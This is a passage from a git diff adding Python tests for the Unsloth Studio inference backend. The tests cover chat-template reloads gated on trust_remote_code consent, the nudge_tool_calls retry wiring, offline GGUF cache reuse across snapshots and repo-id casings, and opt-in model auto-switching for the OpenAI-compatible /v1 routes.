importlib.util.module_from_spec(_spec) +_spec.loader.exec_module(chat_template_helpers) + +render_native_template = chat_template_helpers.render_native_template + + +# A native template that emits a tools section only when tools are provided, so the +# with-tools vs no-tools render differs and ``render_native_template`` accepts it. +_NATIVE_TEMPLATE = ( + "{% for m in messages %}{{ m['role'] }}: {{ m['content'] }}\n{% endfor %}" + "{% if tools %}[AVAILABLE_TOOLS]{{ tools }}[/AVAILABLE_TOOLS]\n{% endif %}" + "{% if add_generation_prompt %}assistant:{% endif %}" +) + +_MESSAGES = [{"role": "user", "content": "what is the weather"}] +_TOOLS = [{"type": "function", "function": {"name": "get_weather"}}] + + +class _JinjaTokenizer: + """Minimal tokenizer whose ``apply_chat_template`` renders ``self.chat_template``. + + Stands in for the live model tokenizer that ``render_native_template`` shallow- + copies and re-points at the native template before rendering. + """ + + def __init__(self, chat_template): + self.chat_template = chat_template + + def apply_chat_template( + self, + messages, + tokenize = False, + add_generation_prompt = True, + tools = None, + **kwargs, + ): + from jinja2 import BaseLoader, Environment + env = Environment(loader = BaseLoader()) + return env.from_string(self.chat_template).render( + messages = messages, + tools = tools, + add_generation_prompt = add_generation_prompt, + ) + + +def _install_custom_code_tokenizer(monkeypatch): + """Patch ``AutoTokenizer.from_pretrained`` to mimic a custom-code repo: raise + unless ``trust_remote_code`` is truthy, else return a tokenizer carrying the + native template. Records the ``trust_remote_code`` it was called with.""" + pytest.importorskip("jinja2") + from transformers import AutoTokenizer + + calls = {} + + def fake_from_pretrained( + model_id, + *args, + trust_remote_code = False, + token = None, + **kwargs, + ): + calls["trust_remote_code"] = trust_remote_code + calls["model_id"] = model_id + calls["token"] = token + if not trust_remote_code: + # Mirrors transformers.dynamic_module_utils.resolve_trust_remote_code: + # has_remote_code and not has_local_code and not trust_remote_code -> ValueError. + raise ValueError( + f"The repository {model_id} contains custom code which must be executed " + "to correctly load the model. Please pass the argument " + "`trust_remote_code=True` to allow custom code to be run." + ) + return _JinjaTokenizer(_NATIVE_TEMPLATE) + + monkeypatch.setattr(AutoTokenizer, "from_pretrained", staticmethod(fake_from_pretrained)) + return calls + + +def _model_info(trust_remote_code): + return { + "native_chat_template": None, # force the repo reload path + "base_model": None, # non-LoRA: template_source == active_model_name + "trust_remote_code": trust_remote_code, + # Live tokenizer that gets shallow-copied + re-pointed at the native template. + "tokenizer": _JinjaTokenizer("OVERRIDE-THAT-DROPS-TOOLS"), + } + + +def test_native_reload_passes_stored_trust_remote_code(monkeypatch): + """With ``trust_remote_code`` stored on ``model_info`` the custom-code reload + succeeds and the tools-advertising native prompt is returned. This FAILS before + the fix (reload omits the flag, raises, is swallowed, returns None).""" + calls = _install_custom_code_tokenizer(monkeypatch) + model_info = _model_info(trust_remote_code = True) + + out = render_native_template( + model_info = model_info, + active_model_name = "acme/custom-tokenizer-model", + messages = _MESSAGES, + tools = _TOOLS, + ) + + assert out is not None, "native fallback should render the tools prompt with consent" + assert "[AVAILABLE_TOOLS]" in out + assert "get_weather" in out + assert calls["trust_remote_code"] is True # the stored consent was threaded through + # A successful fetch is cached so the next tool turn skips the reload. + assert model_info["native_chat_template"] == _NATIVE_TEMPLATE + + +def test_native_reload_without_consent_returns_none(monkeypatch): + """Without stored consent the custom-code reload raises, is swallowed, and + ``render_native_template`` returns None (no unconsented code execution). Proves + the stored flag -- not a hard-coded True -- drives the reload.""" + calls = _install_custom_code_tokenizer(monkeypatch) + model_info = _model_info(trust_remote_code = False) + + out = render_native_template( + model_info = model_info, + active_model_name = "acme/custom-tokenizer-model", + messages = _MESSAGES, + tools = _TOOLS, + ) + + assert out is None + assert calls["trust_remote_code"] is False + # A failed fetch must not be cached as "no template" (would pin the tool drop). + assert model_info["native_chat_template"] is None + + +def test_backend_model_info_persists_trust_remote_code(): + """Both backends must store ``trust_remote_code`` on their per-model info dict so + ``render_native_template`` can source the consent value. Guards against the read + landing on a key ``load_model`` never sets (which would silently no-op the fix).""" + inf = (Path(_BACKEND_DIR) / "core" / "inference" / "inference.py").read_text() + mlx = (Path(_BACKEND_DIR) / "core" / "inference" / "mlx_inference.py").read_text() + assert '"trust_remote_code": trust_remote_code,' in inf + assert '"trust_remote_code": trust_remote_code,' in mlx diff --git a/studio/backend/tests/test_nudge_tool_calls_wiring.py b/studio/backend/tests/test_nudge_tool_calls_wiring.py new file mode 100644 index 0000000000..e03fd0c7d7 --- /dev/null +++ b/studio/backend/tests/test_nudge_tool_calls_wiring.py @@ -0,0 +1,99 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Wiring guard for the plan-without-action ``nudge_tool_calls`` policy. + +Decided policy: the re-prompt is ALWAYS ON for the Studio inference paths +(safetensors, GGUF/llama_cpp, MLX) and OPT-IN for the API (/v1 OpenAI-compat + +Anthropic-compat, controlled by the request's ``nudge_tool_calls``, default off). + +Mechanism (verified here without loading a model): + + * every backend tool-loop entry point accepts and forwards ``nudge_tool_calls`` + (safetensors -> ``InferenceBackend``; MLX -> ``InferenceOrchestrator``; both + call the shared ``run_safetensors_tool_loop``; GGUF -> ``LlamaCppBackend``); + * the safetensors/MLX loop gates the retry on a truthy flag (new retry -> + opt-in), while the GGUF loop keeps its pre-existing default-on behaviour + (``None`` keeps nudging) so an omitted flag never disables GGUF; + * the API request models default the flag to ``None`` (opt-in / off); + * the Studio-facing routes forward the request's flag, and the Studio frontend + sends ``nudge_tool_calls: true`` -- exercised behaviourally in + ``test_safetensors_tool_loop.py`` and ``test_llama_cpp_tool_loop.py``. +""" + +import inspect + +from core.inference.llama_cpp import LlamaCppBackend +from core.inference.orchestrator import InferenceOrchestrator +from core.inference.safetensors_agentic import run_safetensors_tool_loop + +try: + # core.inference.inference imports unsloth at module scope, which requires + # unsloth_zoo. The dependency-light backend CI matrix job does not install + # it, so the safetensors InferenceBackend is folded into the checks below + # only when the unsloth stack is importable (local runs / full CI); the + # other entry points are always checked. + from core.inference.inference import InferenceBackend +except ImportError: + InferenceBackend = None + + +def _params(fn): + return inspect.signature(fn).parameters + + +def test_shared_loop_accepts_nudge_flag(): + assert "nudge_tool_calls" in _params(run_safetensors_tool_loop) + + +def test_backends_accept_the_flag(): + methods = [ + InferenceOrchestrator.generate_chat_completion_with_tools, + LlamaCppBackend.generate_chat_completion_with_tools, + ] + if InferenceBackend is not None: # safetensors path; needs the unsloth stack + methods.append(InferenceBackend.generate_chat_completion_with_tools) + for method in methods: + assert "nudge_tool_calls" in _params(method), method.__qualname__ + + +def test_delegating_backends_forward_the_flag_to_the_shared_loop(): + # safetensors (in-process transformers) and MLX (parent-process orchestrator) + # both delegate to run_safetensors_tool_loop; GGUF runs its own in-file loop + # and consumes the flag directly (asserted separately by the gate test). + methods = [InferenceOrchestrator.generate_chat_completion_with_tools] + if InferenceBackend is not None: # safetensors path; needs the unsloth stack + methods.append(InferenceBackend.generate_chat_completion_with_tools) + for method in methods: + src = inspect.getsource(method) + assert "nudge_tool_calls = nudge_tool_calls" in src, method.__qualname__ + + +def test_safetensors_loop_is_opt_in_while_gguf_stays_default_on(): + # Safetensors/MLX: the retry is new here, so it requires a truthy flag. + sf_src = inspect.getsource(run_safetensors_tool_loop) + assert "and nudge_tool_calls" in sf_src + # GGUF: pre-existing nudge must not be accidentally disabled -- an omitted + # (None) flag keeps nudging; only an explicit False turns it off. + gguf_src = inspect.getsource(LlamaCppBackend.generate_chat_completion_with_tools) + assert "nudge_tool_calls is None or nudge_tool_calls" in gguf_src + + +def test_api_request_models_default_the_flag_off(): + from models.inference import AnthropicMessagesRequest, ChatCompletionRequest + for model in (ChatCompletionRequest, AnthropicMessagesRequest): + field = model.model_fields["nudge_tool_calls"] + assert field.default is None, model.__name__ + + +def test_studio_routes_forward_the_request_flag(): + # The Studio chat frontend posts to /v1/chat/completions and /v1/messages + # with nudge_tool_calls=true; the route handlers forward the request value + # (external API clients that omit it fall back to the opt-in default). + from routes import inference as routes_inference + for handler in ( + routes_inference.openai_chat_completions, + routes_inference.anthropic_messages, + ): + src = inspect.getsource(handler) + assert "nudge_tool_calls = payload.nudge_tool_calls" in src, handler.__name__ diff --git a/studio/backend/tests/test_offline_gguf_cache_fallback.py b/studio/backend/tests/test_offline_gguf_cache_fallback.py index a2a505f479..e24e2ca451 100644 --- a/studio/backend/tests/test_offline_gguf_cache_fallback.py +++ b/studio/backend/tests/test_offline_gguf_cache_fallback.py @@ -79,9 +79,11 @@ from huggingface_hub import constants as hf_constants from core.inference.llama_cpp import ( LlamaCppBackend, + _cached_colocated_split_main, _gguf_files_for_variant, _hf_offline_if_dns_dead, _probe_dns_dead, + _resolve_repo_id_casing, ) from utils.models.model_config import ( _detect_gguf_from_hf_cache, @@ -217,7 +219,7 @@ class TestGgufVariantFileResolution: downloaded.append(filename) return f"/fake/{repo_id}/{filename}" - monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path)) with ( patch( "huggingface_hub.list_repo_files", @@ -239,6 +241,214 @@ class TestGgufVariantFileResolution: assert downloaded == ["tinyllamas/stories260K.gguf"] assert out == "/fake/ggml-org/models/tinyllamas/stories260K.gguf" + def test_download_reuses_older_snapshot_when_current_ref_snapshot_is_partial( + self, monkeypatch, hf_cache + ): + # Cross-snapshot reuse is an offline-resilience path: online, hf_hub_download + # resumes the partial current-ref download and revalidates the revision instead + # of serving an older snapshot's same-name blob. + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + backend = LlamaCppBackend() + repo = "unsloth/vision-GGUF" + old = _build_cache( + hf_cache, + repo, + {"model-UD-Q4_K_XL.gguf": 4}, + snapshot_sha = "a" * 40, + ) + _build_cache( + hf_cache, + repo, + {"mtp-model.gguf": 1}, + snapshot_sha = "b" * 40, + ) + + def fake_get_paths_info( + _repo_id, + paths, + token = None, + ): + return [_types.SimpleNamespace(path = path, size = 4) for path in paths if path] + + def fail_download(*_args, **_kwargs): + raise AssertionError("should reuse the cached GGUF instead of downloading") + + with ( + patch( + "huggingface_hub.list_repo_files", + lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf", "mtp-model.gguf"], + ), + patch("huggingface_hub.get_paths_info", fake_get_paths_info), + patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), + patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download), + ): + out = backend._download_gguf( + hf_repo = repo, + hf_variant = "UD-Q4_K_XL", + ) + + assert out == str(old / "model-UD-Q4_K_XL.gguf") + + def test_download_reuses_cached_gguf_when_lowercase_partial_cache_shadows_it( + self, monkeypatch, hf_cache + ): + # Case-variant cross-dir reuse is offline-only; online the canonical repo id + # resolves up front and hf_hub_download fetches the current revision. + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + backend = LlamaCppBackend() + canonical_repo = "unsloth/gemma-4-E2B-it-GGUF" + requested_repo = "unsloth/gemma-4-e2b-it-gguf" + gguf_file = "gemma-4-E2B-it-UD-Q4_K_XL.gguf" + snap = _build_cache( + hf_cache, + canonical_repo, + {gguf_file: 4}, + snapshot_sha = "a" * 40, + ) + lower_snap = _build_cache( + hf_cache, + requested_repo, + {"mtp-gemma-4-E2B-it.gguf": 1}, + snapshot_sha = "b" * 40, + ) + os.utime(lower_snap, (2000, 2000)) + os.utime(snap, (1000, 1000)) + seen_repos: list[str] = [] + + def fake_list_repo_files(repo_id, token = None): + seen_repos.append(repo_id) + return [gguf_file] + + def fake_get_paths_info( + repo_id, + paths, + token = None, + ): + seen_repos.append(repo_id) + return [_types.SimpleNamespace(path = path, size = 4) for path in paths if path] + + def fake_cache(repo_id, filename, *args, **kwargs): + seen_repos.append(repo_id) + return str(snap / filename) if repo_id == canonical_repo else None + + def fail_download(*_args, **_kwargs): + raise AssertionError("should reuse the cached GGUF instead of downloading") + + with ( + patch("huggingface_hub.list_repo_files", fake_list_repo_files), + patch("huggingface_hub.get_paths_info", fake_get_paths_info), + patch("huggingface_hub.try_to_load_from_cache", fake_cache), + patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download), + ): + out = backend._download_gguf( + hf_repo = requested_repo, + hf_variant = "UD-Q4_K_XL", + ) + + assert out == str(snap / gguf_file) + assert seen_repos + + def test_download_online_does_not_reuse_old_snapshot(self, monkeypatch, hf_cache): + # Online, an older same-name snapshot must not be served (it may be a stale + # revision); hf_hub_download is called so the current revision is fetched and + # its etag revalidated. + monkeypatch.delenv("HF_HUB_OFFLINE", raising = False) + backend = LlamaCppBackend() + repo = "unsloth/vision-GGUF" + _build_cache(hf_cache, repo, {"model-UD-Q4_K_XL.gguf": 4}, snapshot_sha = "a" * 40) + downloaded: list[str] = [] + + def fake_get_paths_info( + _repo_id, + paths, + token = None, + ): + return [_types.SimpleNamespace(path = p, size = 4) for p in paths if p] + + def fake_download( + repo_id, + filename, + token = None, + **kwargs, + ): + downloaded.append(filename) + return f"/fresh/{filename}" + + with ( + patch( + "huggingface_hub.list_repo_files", + lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf"], + ), + patch("huggingface_hub.get_paths_info", fake_get_paths_info), + patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), + patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download), + ): + out = backend._download_gguf(hf_repo = repo, hf_variant = "UD-Q4_K_XL") + + assert downloaded == ["model-UD-Q4_K_XL.gguf"] + assert out == "/fresh/model-UD-Q4_K_XL.gguf" + + def test_download_reuses_older_snapshot_when_offline_env_is_true(self, monkeypatch, hf_cache): + # HF_HUB_OFFLINE accepts truthy spellings beyond "1" (true/yes/on); the offline + # cache reuse must trigger for those too, otherwise the earlier Hub calls run + # offline while this branch still attempts hf_hub_download and the cached GGUF + # cannot load. + monkeypatch.setenv("HF_HUB_OFFLINE", "true") + backend = LlamaCppBackend() + repo = "unsloth/vision-GGUF" + old = _build_cache(hf_cache, repo, {"model-UD-Q4_K_XL.gguf": 4}, snapshot_sha = "a" * 40) + + def fake_get_paths_info( + _repo_id, + paths, + token = None, + ): + return [_types.SimpleNamespace(path = p, size = 4) for p in paths if p] + + def fail_download(*_args, **_kwargs): + raise AssertionError("should reuse the cached GGUF instead of downloading") + + with ( + patch("huggingface_hub.list_repo_files", lambda *_a, **_k: ["model-UD-Q4_K_XL.gguf"]), + patch("huggingface_hub.get_paths_info", fake_get_paths_info), + patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), + patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download), + ): + out = backend._download_gguf(hf_repo = repo, hf_variant = "UD-Q4_K_XL") + + assert out == str(old / "model-UD-Q4_K_XL.gguf") + + def test_download_companion_resolves_from_case_variant_snapshot_offline( + self, monkeypatch, hf_cache + ): + # Offline, resolve_cached_repo_id_case can keep a partial lower-case spelling, + # so the companion (mmproj) must resolve from whichever case-variant snapshot + # actually holds it rather than being dropped by an hf_hub_download on the + # wrong casing. + monkeypatch.setenv("HF_HUB_OFFLINE", "1") + backend = LlamaCppBackend() + canonical_repo = "unsloth/gemma-4-E2B-it-GGUF" + requested_repo = "unsloth/gemma-4-e2b-it-gguf" + snap = _build_cache(hf_cache, canonical_repo, {"mmproj-F16.gguf": 4}, snapshot_sha = "a" * 40) + # A partial lower-case dir exists so casing resolution keeps the requested spelling. + _build_cache(hf_cache, requested_repo, {"config.json": 1}, snapshot_sha = "b" * 40) + + _offline_exc = type("OfflineModeIsEnabled", (Exception,), {}) + + def fake_list_repo_files(repo_id, token = None): + raise _offline_exc("offline") + + def fail_download(*_args, **_kwargs): + raise AssertionError("should resolve the companion from cache, not download") + + with ( + patch("huggingface_hub.list_repo_files", fake_list_repo_files), + patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fail_download), + ): + out = backend._download_mmproj(hf_repo = requested_repo) + + assert out == str(snap / "mmproj-F16.gguf") + def test_download_includes_uppercase_split_gguf_shards(self, monkeypatch, tmp_path): backend = LlamaCppBackend() downloaded: list[str] = [] @@ -264,7 +474,7 @@ class TestGgufVariantFileResolution: downloaded.append(filename) return f"/fake/{repo_id}/{filename}" - monkeypatch.setenv("HF_HUB_CACHE", str(tmp_path)) + monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path)) with ( patch("huggingface_hub.list_repo_files", lambda *_a, **_k: files), patch("huggingface_hub.get_paths_info", fake_get_paths_info), @@ -279,6 +489,48 @@ class TestGgufVariantFileResolution: assert downloaded == files assert out == "/fake/org/repo/model-Q4_K_M-00001-of-00002.GGUF" + def test_download_refetches_split_gguf_when_shards_span_snapshots(self, monkeypatch, hf_cache): + # The cached main shard lives in an older snapshot; its sibling shard is only + # in a newer, separate snapshot. Reusing the main shard alone would leave + # llama.cpp unable to resolve the sibling, so the whole set must be re-fetched + # together (co-located) rather than served split across snapshot dirs. + backend = LlamaCppBackend() + repo = "org/split" + files = [ + "model-Q4_K_M-00001-of-00002.gguf", + "model-Q4_K_M-00002-of-00002.gguf", + ] + _build_cache(hf_cache, repo, {files[0]: 4}, snapshot_sha = "a" * 40) + _build_cache(hf_cache, repo, {files[1]: 4}, snapshot_sha = "b" * 40) + downloaded: list[str] = [] + + def fake_get_paths_info( + _repo_id, + paths, + token = None, + ): + return [_types.SimpleNamespace(path = p, size = 4) for p in paths if p] + + def fake_download( + repo_id, + filename, + token = None, + **_kwargs, + ): + downloaded.append(filename) + return f"/fake/{repo_id}/{filename}" + + with ( + patch("huggingface_hub.list_repo_files", lambda *_a, **_k: files), + patch("huggingface_hub.get_paths_info", fake_get_paths_info), + patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None), + patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download), + ): + out = backend._download_gguf(hf_repo = repo, hf_variant = "Q4_K_M") + + assert downloaded == files + assert out == f"/fake/{repo}/{files[0]}" + def _siblings(items: dict[str, int]): """Mock ``hf_model_info(...).siblings`` payload.""" @@ -315,6 +567,21 @@ class TestIterHfCacheSnapshots: out = list(_iter_hf_cache_snapshots("unsloth/multi")) assert [p.name for p in out] == ["b" * 40, "a" * 40] + def test_skips_snapshot_when_mtime_is_unavailable(self, hf_cache, monkeypatch): + stale = _build_cache(hf_cache, "unsloth/multi", {"x.gguf": 1}, snapshot_sha = "a" * 40) + good = _build_cache(hf_cache, "unsloth/multi", {"y.gguf": 1}, snapshot_sha = "b" * 40) + original_stat = Path.stat + + def flaky_stat(self, *args, **kwargs): + if self == stale: + raise FileNotFoundError(str(self)) + return original_stat(self, *args, **kwargs) + + monkeypatch.setattr(Path, "stat", flaky_stat) + + out = list(_iter_hf_cache_snapshots("unsloth/multi")) + assert out == [good] + def test_repo_id_match_is_case_insensitive(self, hf_cache): _build_cache(hf_cache, "unsloth/Foo-GGUF", {"Foo-Q4_K_M.gguf": 1}) # Lookup with different org/name casing still resolves @@ -347,6 +614,87 @@ class TestListGgufVariantsFromCache: assert _list_gguf_variants_from_hf_cache("unsloth/absent") is None +class TestCachedColocatedSplitMain: + def test_prefers_older_complete_snapshot_over_newer_partial(self, hf_cache): + # Newer snapshot has only shard 1; older snapshot has the complete set. The + # complete older snapshot must win so the split GGUF can load co-located. + shard1 = "m-00001-of-00002.gguf" + shard2 = "m-00002-of-00002.gguf" + old = _build_cache( + hf_cache, "unsloth/split-GGUF", {shard1: 100, shard2: 100}, snapshot_sha = "a" * 40 + ) + new = _build_cache(hf_cache, "unsloth/split-GGUF", {shard1: 100}, snapshot_sha = "b" * 40) + os.utime(old, (1000, 1000)) + os.utime(new, (2000, 2000)) + + main = _cached_colocated_split_main("unsloth/split-GGUF", shard1, [shard2], {}) + assert main is not None + assert main.startswith(str(old)) + + def test_returns_none_when_shards_span_snapshots(self, hf_cache): + shard1 = "m-00001-of-00002.gguf" + shard2 = "m-00002-of-00002.gguf" + a = _build_cache(hf_cache, "unsloth/split-GGUF", {shard1: 100}, snapshot_sha = "a" * 40) + b = _build_cache(hf_cache, "unsloth/split-GGUF", {shard2: 100}, snapshot_sha = "b" * 40) + os.utime(a, (1000, 1000)) + os.utime(b, (2000, 2000)) + + assert _cached_colocated_split_main("unsloth/split-GGUF", shard1, [shard2], {}) is None + + +class TestResolveRepoIdCasing: + def test_maps_to_canonical_casing(self, monkeypatch): + monkeypatch.setattr( + "utils.paths.resolve_cached_repo_id_case", + lambda repo: "unsloth/Gemma-4-GGUF" if repo.lower() == "unsloth/gemma-4-gguf" else repo, + ) + # A companion download passed the resolved id reads the same cache entry + # as the main GGUF instead of missing it under the requested casing. + assert _resolve_repo_id_casing("unsloth/gemma-4-gguf") == "unsloth/Gemma-4-GGUF" + + def test_passthrough_on_resolver_error(self, monkeypatch): + def boom(_repo): + raise RuntimeError("resolver unavailable") + + monkeypatch.setattr("utils.paths.resolve_cached_repo_id_case", boom) + assert _resolve_repo_id_casing("unsloth/gemma-4-gguf") == "unsloth/gemma-4-gguf" + + def test_companion_only_newer_snapshot_does_not_shadow_real_variants(self, hf_cache): + # A newer snapshot holds only a vision projector fetched on demand, + # while the quant files live in an older snapshot. The newer snapshot + # must not shadow the real variants; the vision flag carries over. + old = _build_cache( + hf_cache, + "unsloth/vision-GGUF", + {"vision-Q4_K_M.gguf": 100}, + snapshot_sha = "a" * 40, + ) + new = _build_cache( + hf_cache, + "unsloth/vision-GGUF", + {"mmproj-vision-F16.gguf": 10}, + snapshot_sha = "b" * 40, + ) + os.utime(old, (1000, 1000)) + os.utime(new, (2000, 2000)) + + out = _list_gguf_variants_from_hf_cache("unsloth/vision-GGUF") + assert out is not None + variants, has_vision = out + assert [v.quant for v in variants] == ["Q4_K_M"] + assert has_vision is True + + def test_companion_only_cache_returns_empty_variants_with_vision(self, hf_cache): + # Only a vision projector is cached anywhere: report the vision flag + # with an empty variant list rather than None. + _build_cache(hf_cache, "unsloth/vision-GGUF", {"mmproj-vision-F16.gguf": 10}) + out = _list_gguf_variants_from_hf_cache("unsloth/vision-GGUF") + assert out is not None + variants, has_vision = out + assert variants == [] + assert has_vision is True + + class TestListGgufVariantsOffline: def test_offline_env_short_circuits_api(self, hf_cache, clean_offline_env, monkeypatch): _build_cache(hf_cache, "unsloth/a", {"a-UD-Q4_K_XL.gguf": 1}) @@ -951,7 +1299,11 @@ class TestWaitForHealthRetriesOnReadError: calls = {"n": 0} - def fake_get(url, timeout = None): + def fake_get( + url, + timeout = None, + trust_env = None, + ): calls["n"] += 1 if calls["n"] == 1: raise httpx.ReadError("WinError 10054") diff --git a/studio/backend/tests/test_openai_auto_switch.py b/studio/backend/tests/test_openai_auto_switch.py new file mode 100644 index 0000000000..d02a2a4f7e --- /dev/null +++ b/studio/backend/tests/test_openai_auto_switch.py @@ -0,0 +1,3096 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Opt-in OpenAI /v1 model auto-switch: resolver, hook, and settings coercion. + +No GPU or llama-server: the backend and the load route are mocked, mirroring +tests/test_gguf_completion_usage.py. +""" + +import asyncio + +import pytest + +import routes.inference as inference_route +from models.inference import LoadRequest +from core.inference import local_model_resolver as resolver +from utils import openai_auto_switch_settings as settings + + +class _FakeBackend: + def __init__( + self, + loaded_id = None, + hf_variant = None, + advertised_id = None, + ): + self.model_identifier = loaded_id + self.is_loaded = loaded_id is not None + self.hf_variant = hf_variant + self._openai_advertised_id = advertised_id + + +class _LoadRecorder: + """Stand-in for the load route: records calls and simulates a load.""" + + def __init__( + self, + backend, + fail = False, + ): + self.backend = backend + self.calls = [] + self.fail = fail + + async def __call__( + self, + request, + fastapi_request, + current_subject = None, + ): + self.calls.append(request) + if self.fail: + from fastapi import HTTPException + raise HTTPException(status_code = 503, detail = "load failed") + self.backend.model_identifier = request.model_path + self.backend.is_loaded = True + # Mirror _load_model_impl: a load advertises its own id until the + # auto-switch caller overwrites it with the repo id. + self.backend._openai_advertised_id = None + return None + + +def _wire(monkeypatch, *, enabled, resolves_to, backend, recorder): + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: enabled) + monkeypatch.setattr(resolver, "resolve_local_gguf", lambda _m: resolves_to) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + # Auto-switch loads via _load_model_impl (the /load route holds the lifecycle + # gate that auto-switch already owns, so it calls the impl directly). + monkeypatch.setattr(inference_route, "_load_model_impl", recorder) + monkeypatch.setattr(inference_route, "_auto_switch_waiters", {}) + monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {}) + + +def _run_hook(model = "some/model"): + asyncio.run(inference_route._maybe_auto_switch_model(model, object(), "tester")) + + +def test_flag_off_never_loads(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = False, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF") + assert rec.calls == [] + + +def test_unknown_model_falls_through(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + _run_hook("gpt-4o-mini") + assert rec.calls == [] + + +def test_already_loaded_does_not_reload(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + # Case-insensitive match against the loaded identifier. + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/a-gguf", None, "unsloth/a-gguf"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/A-GGUF") + assert rec.calls == [] + + +def test_known_unloaded_model_switches_once(monkeypatch): + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q4_K_M", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q4_K_M") + assert len(rec.calls) == 1 + req = rec.calls[0] + assert isinstance(req, LoadRequest) + assert req.model_path == "unsloth/B-GGUF" + assert req.gguf_variant == "Q4_K_M" + assert backend.model_identifier == "unsloth/B-GGUF" + + +def test_concurrent_same_target_loads_once(monkeypatch): + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + + async def _race(): + await asyncio.gather( + inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"), + inference_route._maybe_auto_switch_model("unsloth/B-GGUF", object(), "t"), + ) + + asyncio.run(_race()) + assert len(rec.calls) == 1 + + +def test_load_failure_propagates(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") + rec = _LoadRecorder(backend, fail = True) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", None, "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + with pytest.raises(HTTPException): + _run_hook("unsloth/B-GGUF") + + +def test_same_repo_different_variant_switches(monkeypatch): + # Q4_K_M loaded, Q8_0 requested: a different quant must trigger a reload. + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q8_0") + assert len(rec.calls) == 1 + assert rec.calls[0].gguf_variant == "Q8_0" + + +def test_same_repo_same_variant_does_not_reload(monkeypatch): + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "q4_k_m", "unsloth/B-GGUF"), # case-insensitive + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF:Q4_K_M") + assert rec.calls == [] + + +def test_responses_endpoint_wires_auto_switch_before_dispatch(): + # The /v1/responses endpoint must invoke the auto-switch hook before either + # dispatcher so streaming requests switch too. Asserted on the source, which + # is immune to test-ordering effects on the shared inference module. + import inspect + + src = inspect.getsource(inference_route.openai_responses) + assert "_maybe_auto_switch_model" in src + hook_at = src.index("_maybe_auto_switch_model") + assert hook_at < src.index("_responses_stream") + assert hook_at < src.index("_responses_non_streaming") + + +def test_embeddings_endpoint_wires_auto_switch_before_loaded_check(): + # /v1/embeddings is model-bearing too, so it must auto-switch before the + # loaded-state gate. Asserted on the source for order-independence. + import inspect + + src = inspect.getsource(inference_route.openai_embeddings) + assert "_auto_switch_from_request_body" in src + assert src.index("_auto_switch_from_request_body") < src.index("is_loaded") + + +def test_count_tokens_endpoint_wires_auto_switch_before_loaded_check(): + # The Anthropic token-count endpoint must count with the requested model. + import inspect + + src = inspect.getsource(inference_route.anthropic_count_tokens) + assert "_maybe_auto_switch_model" in src + assert src.index("_maybe_auto_switch_model") < src.index("is_loaded") + + +def test_openai_compat_routes_bound_to_handlers_with_auth(): + # Inserting a helper between a @router.post decorator and its handler silently + # rebinds the route to the helper and drops its auth dependency (this happened to + # /messages/count_tokens). The source-inspection tests above miss it because they + # call the handler directly. Lock the path -> (handler, auth) mapping at the route + # level so any decorator/handler split is caught. + expected = { + ("POST", "/chat/completions"): "openai_chat_completions", + ("POST", "/completions"): "openai_completions", + ("POST", "/embeddings"): "openai_embeddings", + ("POST", "/responses"): "openai_responses", + ("POST", "/messages"): "anthropic_messages", + ("POST", "/messages/count_tokens"): "anthropic_count_tokens", + ("POST", "/audio/generate"): "generate_audio", + ("GET", "/models"): "openai_list_models", + ("GET", 